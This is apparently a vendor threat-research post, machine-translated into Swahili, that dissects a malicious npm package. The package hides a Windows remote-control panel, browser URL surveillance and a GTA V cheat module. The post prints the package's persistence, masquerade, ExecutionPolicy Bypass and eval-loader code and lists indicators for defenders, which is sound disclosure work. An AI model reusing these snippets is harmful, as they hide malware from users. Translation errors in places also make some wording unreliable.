PairLoop: Paneli Iliyofichwa ya Udhibiti wa Mbali katika Kifurushi cha npm

PairLoop: Kifurushi cha saa moja na nusu, Matoleo Sabini, na Paneli ya Udhibiti wa Mbali ya Windows Iliyofichwa

TL; DR

Kifurushi cha npm unyeti Inajieleza kama "Jopo la Kudhibiti Unyeti." Kwenye Windows hufanya kazi kama kifaa cha kudhibiti mbali na ufuatiliaji.

Sehemu yake ya kuingia, launcher.js, hubadilisha jina la mchakato wake kuwa Runtime Broker, huandika thamani ya kibonye cha Run-start kiotomatiki inayoitwa OneDriveUpdate ambayo huzindua upya kifurushi kupitia VBScript iliyofichwa, hutoa PowerShell na -ExecutionPolicy Bypass, na kisha huondoa mzigo wa seva uliofichwa wa 171 KB pamoja na moduli asilia ya 6.87 MB, sens.node.

Inahudumia paneli dhibiti ya kuunganisha simu kwenye lango la TCP 3000 na husoma URL ya upau wa anwani wa kivinjari kinachofanya kazi kupitia Windows UIAutomation, ikitafuta video moja ya YouTube yenye msimbo mgumu.

Sehemu mbili ambazo awali zilisomeka kama visanduku vyeusi sasa zimetatuliwa. Seva iliyofichwa, server.obf.js, hutumia mpango wa safu-mistari ya obfuscator.io RC4; kutekeleza upya kivumbuzi chake nje ya mtandao (hakuna JavaScript iliyotekelezwa) hurejesha sehemu moja ya nje — https://izopi.com/check.php — pamoja na ufunguo wa umma wa RSA uliopachikwa unaotumika kuthibitisha majibu ya leseni yaliyosainiwa.

Moduli asilia, sens.node, haijapakiwa: jedwali lake la kuingiza na nyuzi zilizopachikwa huitambua kama DirectX 11 / Dear ImGui iliyofunikwa ndani ya mchezo inayotoa aimbot, ESP (ukuta-hack), na vipengele vya triggerbot, vinavyoendeshwa na uingizaji wa mchakato wa mbali na usomaji/uandikaji wa kumbukumbu.

Mistari ndani yake hurejelea vyombo vya gari na maeneo ya ramani yanayolingana na GTA V / FiveM. Kifurushi cha npm ni kifungashio cha uwasilishaji na uendelevu kuzunguka moduli hiyo asilia.

Ishara inayofafanua inafanya kazi, si ya kiufundi: mchapishaji mmoja asiyejulikana alisukuma takriban matoleo sabini ya kifurushi kimoja — 2.5.0 kupitia 2.5.69 — kwa siku chache, kila moja ikiwa na kizindua kilekile.

Hakuna usakinishaji hooksMzigo wa mzigo unaendelea tu wakati kifurushi kinapoanza kutumika.

Shambulio: Jinsi Linavyofanya Kazi

unyeti husafirisha faili kumi. Package.json ni chache: hakuna sehemu ya hifadhi, hakuna leseni, jina bandia kuu na mbili za bin (unyeti, sens) zote zikielekeza kwenye launcher.js, na hati ya kuanza ya node launcher.js. Hakuna baada ya kusakinisha au kusakinisha mapema. Hakuna kinachoanza kwenye npm install. Tabia iliyoelezwa hapa chini inaendeshwa mtumiaji anapoanzisha kifurushi - kupitia bin shim, hati ya kuanza, au require.

Tarball hubeba kizindua, seva iliyofichwa, moduli asilia, hati ya Visual Basic, na saraka ya umma/wavuti kwa paneli dhibiti. launcher.js ni kipanga programu kinachoweza kusomeka; mantiki inayohusika wakati wa utekelezaji inaishi katika matone mawili yanayopakia — seva iliyofichwa na moduli asilia iliyokusanywa, zote mbili zimetatuliwa hapa chini.

 Kinyago cha mchakato na kisasishaji bandia cha OneDrive

Mwanzoni mwa utekelezaji wa launcher.js huweka jina lake la mchakato mara mbili:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker ni mchakato halali wa Windows (RuntimeBroker.exe) unaopatanisha ruhusa za programu. Kubadilisha jina la mchakato wa Node ili ulingane nayo kunamaanisha kutazama haraka Kidhibiti Kazi hakuonyeshi kitu cha ajabu.

Uvumilivu umeandikwa kupitia PowerShell badala ya API ya usajili wa moja kwa moja:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Thamani ya kuanza kiotomatiki inaitwa OneDriveUpdate, na haielekezi kwenye kifurushi moja kwa moja. Inaelekeza kwenye wscript.exe inayoendesha OneDrive.Standalone.Updater.vbs iliyojumuishwa. Hati hiyo huzindua tena node launcher.js kwenye dirisha lililofichwa. Jina la Run-key na jina la faili la VBScript hukopa chapa ya Microsoft, kwa hivyo ingizo la kuanza kiotomatiki husomeka kama kazi ya kawaida ya OneDrive.

PowerShell yenye njia ya kupitisha sera ya utekelezaji

Kizindua hurusha PowerShell mara kwa mara. Sinki ambayo vichanganuzi huashiria kuwa muhimu ni uzinduzi wa .ps1 iliyotengenezwa ikiwa sera ya utekelezaji imezimwa:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Pass ya Utekelezaji huondoa ukaguzi wa kusaini hati wa ndani kwa ajili ya ombi hilo. Hati zinazozalishwa hushughulikia kazi ya ufuatiliaji wa kivinjari na ugunduzi wa dirisha iliyoelezwa katika sehemu inayofuata.

Seva iliyofichwa na moduli asilia

Baada ya kusanidi, launcher.js hupakia na kutekeleza mzigo wake halisi:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js ni 171 KB ya ufumbo wa safu-_0x — muundo wa JavaScript ambapo kila mfuatano na kitambulisho hubadilishwa na faharasa katika safu iliyochanganywa, kisha huondolewa marejeleo wakati wa utekelezaji. Mpango huu ni lahaja ya RC4 inayozalishwa na obfuscator.io: kitendakazi kimoja cha kivumbuzi base64-huondoa ingizo la safu na kisha RC4-huiondoa kwa ufunguo wa kila simu. Kutekeleza upya kivumbuzi hicho katika hati tofauti — kuendesha tu utekelezaji upya juu ya safu ya mfuatano wa ingizo la 821 iliyotolewa, si JavaScript ya kifurushi yenyewe — huifungua kwa usafi. Ni nyuso gani ambazo ni za kawaida lakini zacisive: URL moja ya nje, https://izopi.com/check.php`, iliyopewa kigezo cha LICENSE_URL; RSA PUBLIC_KEY_PEM iliyopachikwa`; njia za paneli za ndani /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, na /trigger/status; na nyuzi za mchakato wa child_process, crypto, na [Sensivity] sens.node zilizopakiwa — ya mwisho ikiwa ni mstari halisi wa kumbukumbu ambao kizindua huandika upya kwenye moduli ya programu iliyopakiwa. Sehemu ya mwisho ni ukaguzi wa leseni: mteja huchapisha kitambulisho (seva iliyofichwa huunda Kitambulisho cha Discord: %s string) na kitufe cha RSA huthibitisha jibu lililosainiwa la seva.

sens.node ni nyongeza asilia iliyokusanywa ya MB 6.87, na haijapakiwa — entropy ya sehemu iko katika 5.6–6.6 na jedwali za uingizaji na usafirishaji za PE ziko sawa, kwa hivyo uwezo wake unasomeka moja kwa moja. Inahamisha napi_register_module_v1, standard Sehemu ya kuingia ya Node N-API, kwa hivyo seva ya eval'd inaipakia na hitaji la kawaida. Jedwali lake la kuingiza ni kiashiria. Kutoka KERNEL32 huvuta OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, na Process32First/NextW — seti ya kisheria ya kupata mchakato mwingine, kutenga kumbukumbu ndani yake, na kusoma au kuandika kumbukumbu hiyo. Kutoka USER32 huvuta GetAsyncKeyState, GetKeyState, mouse_event, na SetCursorPos; huunganisha d3d11.dll, D3DCOMPILER_43, na dwmapi kwa ajili ya kuwekewa juu ya skrini, na seti kamili ya WINHTTP kwa simu za mtandao. Mifuatano yake iliyopachikwa hutaja seti ya vipengele bila utata: Wezesha Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat imegunduliwa, na bango la Dear ImGui Dear ImGui 1.91.3 WIP. Mifuatano ya eneo na kitu kama vile Grapeseed Medical Clinic na msamiati wa vehicle-ESP vinaendana na GTA V / FiveM.

Mgawanyiko huu ni wa makusudi: kizindua.js kinachosomeka hubeba sehemu ambazo kichanganuzi husoma kwa urahisi tu — uvumilivu, kinyago, wito wa eval — huku kifichaji kinaficha mwenyeji mmoja wa nje wa anwani za wakati wa utekelezaji, na kibadilishaji kinashikilia mantiki ya ufunikaji wa mchezo na uingizwaji wa mchakato. Kizindua ni ganda jembamba, linaloweza kukaguliwa; seva iliyofichwa inaficha utambulisho wa mtandao; moduli asilia ni mzigo wa malipo. Tunaelezea uagizaji na mifuatano ya kibadilishaji kama inavyosomwa; hatuelezi madhumuni ya mwendeshaji kutoka kwao.

 Paneli ya kudhibiti inayounganisha simu kwenye mlango wa 3000

Kizindua hudhibiti seva ya wavuti ya ndani kwenye lango la TCP 3000 na kuichukulia kama singleton. Huuliza msikilizaji aliyepo na kuifuta kabla ya kufunga:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Paneli inaweza kufikiwa katika http://localhost:3000, ikiwa na URL ya kurudi nyuma ya LAN yenye msimbo mgumu ya http://192.168.1.16:3000. Saraka ya umma/ na tabia ya paneli inaendana na mtiririko wa kuoanisha QR: simu huchanganua msimbo na kufungamana na seva mwenyeji kama kidhibiti cha mbali. Hakuna kikoa cha amri na udhibiti cha nje kinachoonekana katika maandishi wazi katika kizindua — lakini, kama ufumbuzi hapo juu unavyoonyesha, kimoja kipo katika seva iliyofumbwa: sehemu ya mwisho ya leseni ya izopi.com. Paneli yenyewe ni ya ndani na yenye LAN; seva mwenyeji pekee inayotoka ni ukaguzi wa leseni.

Mfumo wa msimamizi/mfanyakazi aliyejitenga huweka mchakato hai. Kizindua hujizaa upya na bendera za mazingira za SENSIVITTY_SUPERVISOR na SENSIVITTY_WORKER, kila mtoto akijificha, kwa hivyo kuua mchakato mmoja huacha mlinzi wa kuuanzisha upya.

Ufuatiliaji wa Kivinjari na Ishara ya YouTube

Tabia mahususi zaidi ni ufuatiliaji wa kivinjari. launcher.js hujenga PowerShell ambayo huendesha Windows UIAutomation kusoma upau wa anwani wa kivinjari kinachoendesha:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern hurejesha maudhui ya maandishi ya kipengele cha UI. Ikitumika kwenye udhibiti wa uhariri wa upau wa anwani wa kivinjari, hurejesha URL ambayo mwathiriwa anaitazama kwa sasa — bila kiendelezi cha kivinjari, bila kugusa wasifu kwenye diski, na bila ndoano ya API. Hati iliyozalishwa hurejelea orodha ya $browserNames na kutoa URL au kichwa cha dirisha cha kivinjari chochote kilicho mbele.

URL hiyo inajaribiwa dhidi ya shabaha moja ngumu yenye msimbo:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Kizindua hupiga kura kwenye mzunguko wa sekunde tatu kwa dirisha la kivinjari linaloonyesha YouTube, na PowerShell iliyotengenezwa hubeba jozi ya Get-YouTubeBrowser / Test-TargetYouTubeUrl inayolingana na kitambulisho hicho cha video. Athari inayoonekana ni mbili: URL ya kuvinjari inayotumika inasomwa kutoka kwenye skrini ya mwathiriwa, na mwingiliano wa mwenyeji na video moja mahususi ya YouTube hugunduliwa. Tunaelezea utaratibu na lengo; hatuelezi nia kutoka kwao.

Usomaji wa upau wa anwani ndio kile ambacho skana hukiita sensitive_data_enumeration — chanzo cha Process::env na UIAutomation kinacholisha muda wa utekelezaji unaoweza kutumika na mtandao. Kinaonekana kuwa hafifu kikiwa kimetengwa na huamua tu ufuatiliaji mara tu mzunguko wa maisha ya data unapofuatiliwa kutoka chanzo cha UIAutomation hadi seva iliyofichwa.

Mpangilio wa Wakati na Mageuzi ya Toleo

Usikivu si upakiaji wa moja kwa moja. Akaunti ya mchapishaji ina takriban matoleo sabini yaliyochapishwa ya kifurushi hiki kimoja, na mapya yaliendelea kuwasili wakati wa dirisha la ukaguzi. Kizindua kinakua kipengele kwa kipengele katika mstari wa 2.5.x huku uendelevu wake na upakiaji wa mzigo ukibaki thabiti.

Tarehe (UTC) Matoleo yaliyozingatiwa Hali ya Kizindua
2026-06-02 2.5.8 - 2.5.46 (25) Kizindua paneli ya QR ya msingi; Uendelevu wa kitufe cha kuendesha; uthibitishaji wa seva iliyofichwa.
2026-06-03 2.5.53 - 2.5.61 (6) Kidole sawa; kukandamiza alama za vidole kwenye koni.
2026-06-04 2.5.67, 2.5.68 (2) Huongeza lengo la ushiriki wa YouTube lililobandikwa wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Kujaza mapengo kuchapishwa tena katika eneo lote; msimamizi/mlinzi wa wafanyakazi.

Kusoma kizindua katika wakilishi zilizopakuliwa — 2.5.0, 2.5.36, na 2.5.69 — kunaonyesha ngazi nne. Miundo ya awali kabisa hubeba kizindua cha msingi cha kuunganisha QR. Kuanzia 2.5.33 kivunaji cha upau wa anwani wa UIAutomation kinaonekana. Kuanzia 2.5.58 safu ya usimamizi wa msimamizi inaongezwa. Kuanzia 2.5.64 msimamizi/mhudumu aliyejitenga anakamilisha seti. Katika kipindi chote, mambo manne hayabadiliki kamwe: kitufe cha OneDriveUpdate Run, kidondoshi cha OneDrive.Standalone.Updater.vbs, seva ya eval'd.obf.js, na moduli asilia ya sens.node.

Wimbi la 2026-06-05 linajulikana kwa sababu lilichapisha tena nambari za chini za toleo — 2.5.0 hadi 2.5.15 — ambazo ziko chini ya matoleo yaliyothibitishwa siku zilizopita. Athari ni mstari wa 2.5.x unaofuatana kwenye sajili, kila toleo likiwa na kizindua sawa.

Viashiria vya maelewano

Viashiria vyote vilivyo hapa chini vilisomwa moja kwa moja kutoka kwa kifurushi cha tarball. Kizindua kinachoweza kusomeka hubeba kirejeshi cha kurudi nyuma na anwani moja ya faragha ya LAN; jina moja la mwenyeji la nje, izopi.com, lilipatikana kwa kufuta data nje ya mtandao.

aina Kiashiria Vidokezo
mfuko npm:sensivity (Matoleo ≈70, 2.5.0-2.5.69) Mchapishaji wa kifurushi kimoja; hakuna hifadhi; bila leseni.
File launcher.js Kipanga muziki kinachosomeka; shabaha kuu na ya pipa la takataka.
File server.obf.js (≈171 KB) obfuscator.io RC4 string-array payload, imepakiwa kupitia eval(fs.readFileSync(...)).
File sens.node (≈MB 6.87) Nyongeza ya PE32+ x86-64 Nodi N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
File OneDrive.Standalone.Updater.vbs Kizindua upya kilichofichwa (node launcher.js).
Mtandao https://izopi.com/check.php Kipengele cha mwisho cha leseni/uidhinishaji kilichopatikana kutoka kwa seva iliyofichwa; ufunguo wa umma wa RSA uliopachikwa huthibitisha majibu.
Uwezo OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Uwezo wa kuingiza michakato ya mbali na kusoma/kuandika kumbukumbu.
Uwezo Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui inayotumia vipengele vya aimbot, ESP, na triggerbot.
Msajili HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Thamani ya kuanzisha kiotomatiki ikielekeza kwenye wscript.exe na kizindua cha VBScript.
Mchakato process.title = 'Runtime Broker' Hujifanya kama mchakato halali wa Dalali wa Runtime wa Windows.
Tabia powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Ukiukaji wa sera ya utekelezaji unaotumika kwa hati za PowerShell zilizotengenezwa.
Tabia UIAutomation ValuePattern usomaji wa upau wa anwani ya kivinjari Husoma URL ya dirisha la kivinjari cha mbele.
Tabia Kitambulisho cha video lengwa wJWta2lO0LwKura ya YouTube ya sekunde 3 Ishara ya ufuatiliaji wa ushiriki iliyobandikwa.
Mtandao http://localhost:3000, kurudi nyuma http://192.168.1.16:3000 Paneli ya kudhibiti ya kuunganisha QR imeonyeshwa ndani na kwenye LAN.
mazingira SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Bendera za uratibu wa mchakato wa waangalizi zilizotenganishwa.

Sifa, Athari, na Watetezi

Kifurushi hiki kinachapishwa na akaunti moja ya npm ambayo barua pepe yake iliyotajwa ni anwani ya Gmail ambayo haijathibitishwa. Akaunti ina alama hasi sana ya sifa ya usajili, inahifadhi na kuchapisha kifurushi hiki kimoja tu, na haina hazina chanzo kilichounganishwa. Hatujathibitisha umiliki wa barua pepe na tunahusisha kampeni hiyo na akaunti ya mchapishaji, si kwa mtu yeyote aliyetajwa. Kizindua hakina miundombinu ya maandishi wazi, lakini seva moja ya nje sasa inajulikana: seva iliyofichwa huwasiliana izopi.com kwa ukaguzi wa leseni, na moduli asilia - inayosomwa kutoka kwa jedwali na nyuzi zake za kuingiza badala ya maelekezo yaliyobadilishwa - ni mchezo unaofunika na kusoma kumbukumbu ya mchakato mwingine.

Athari inayoonekana huwaangukia watumiaji wa Windows wanaosakinisha na kuendesha unyeti wakitarajia matumizi ya paneli ya udhibiti. Kwenye mwenyeji huyo, kifurushi huanzisha uendelevu wa kuanzisha kiotomatiki unaojificha kama kazi ya OneDrive, hujibadilisha jina ili kuiga mchakato wa mfumo, husoma URL ya chochote ambacho mtumiaji anavinjari, na husimamisha paneli ya kuoanisha inayounganisha mashine kwenye kidhibiti cha mbali kupitia mtandao wa ndani. Mlinzi wa msimamizi/mfanyakazi anamaanisha kuwa kuua kwa mchakato mmoja hakuondoi; ingizo la kitufe cha Run linasalia kuwashwa upya. macOS na Linux hazilengwi na kizindua - njia za uendelevu, PowerShell, na UIAutomation ni za Windows pekee.

Mabadiliko ya matoleo sabini ndiyo mtindo unaostahili kuangaziwa. Kuchapisha tena kifurushi kimoja mara kadhaa katika siku chache, ikijumuisha nambari za matoleo zinazojazwa nyuma chini ya zile ambazo tayari zimeondolewa, huweka nakala moja kwa moja kwenye sajili kati ya kuondolewa na kukatisha tamaa orodha zilizobandikwa kwenye toleo. Ingizo la orodha ya kuzuia kwa sensivity@2.5.61 halifanyi chochote dhidi ya sensivity@2.5.3 kuchapishwa tena siku iliyofuata.

Watetezi wanaweza kutenda kwa yafuatayo:

  • Zuia unyeti wa jina la kifurushi moja kwa moja katika orodha za vibali vya usajili na CI. Kubandika matoleo ya kibinafsi hupoteza ufupi wa kuchapishwa tena; jina ndilo kiashiria cha kudumu.
  • Tafuta thamani ya Run inayoitwa OneDriveUpdate ambayo data yake huita wscript.exe dhidi ya .vbs katika njia ya kila mtumiaji. Kisasisho halisi cha OneDrive hakijasajiliwa hivi.
  • Tahadhari kuhusu mchakato wa Node.js ambao process.title yake ni Runtime Broker. Dalali halisi ni RuntimeBroker.exe, si Node runtime.
  • Alama ya uletaji wa muda wa usakinishaji wa npm wa vifurushi vinavyosafirisha nyongeza ya .node iliyokusanywa pamoja na eval(fs.readFileSync(…)) ya faili ya ndugu ya .obf.js. Uoanishaji huo — jozi asilia isiyo na mwanga iliyopakiwa karibu na upakiaji wa maandishi uliofichwa — ni usemi wa kimuundo hapa, bila kujali mfuatano wowote wa IOC.
  • Mchukulie msikilizaji yeyote anayeingia ndani ya eneo lako kwenye lango 3000 linalotokana na mchakato usiotarajiwa wa Node kama mtuhumiwa kwenye sehemu za mwisho za Windows zinazosimamiwa.
  • Zuia au tahadhari kuhusu maombi ya kutoka kwa izopi.com kutoka kwa msanidi programu au mwenyeji wa mtumiaji wa mwisho; ni sehemu pekee ya nje ya kifurushi, inayofikiwa katika /check.php kutoka kwa seva iliyofichwa.
  • Kwa nyongeza yoyote ya .node iliyounganishwa, kagua jedwali lake la kuingiza kabla ya kuliamini. Mchanganyiko wa OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread ni uingizaji wa mchakato wa mbali bila kujali kile kifurushi kinadai kufanya; hapa kiko karibu na kifuniko cha Direct3D na nyuzi za aimbot/ESP/triggerbot.

Kwa uchambuzi tuli pipelines, umbo la kusadikisha ni imara katika toleo lote: wasifu usio wa mtandao wa kusakinisha, mgawo wa kichwa cha mchakato kwa jina linalojulikana la mchakato wa mfumo, uandishi wa kitufe cha Run kupitia PowerShell, na eval ya faili iliyosomwa kutoka kwenye diski. Hakuna hata moja kati ya hizo inategemea kikoa, IP, au nambari ya toleo ambayo kuchapisha upya kutakakoweza kuzungushwa.

 Marejeo

[npm: unyeti] – ukurasa wa usajili wa mstari wa toleo la kifurushi unaojadiliwa hapa; unaweza kuondolewa.

zana-za-sca-za-uchambuzi-wa-muundo-wa-programu
Weka kipaumbele, rekebisha, na ulinde hatari za programu yako
Pata Akaunti yako ya Bure.
Hakuna kadi ya mkopo inayotakiwa.

Linda Uundaji na Uwasilishaji wa Programu yako

na Xygeni Product Suite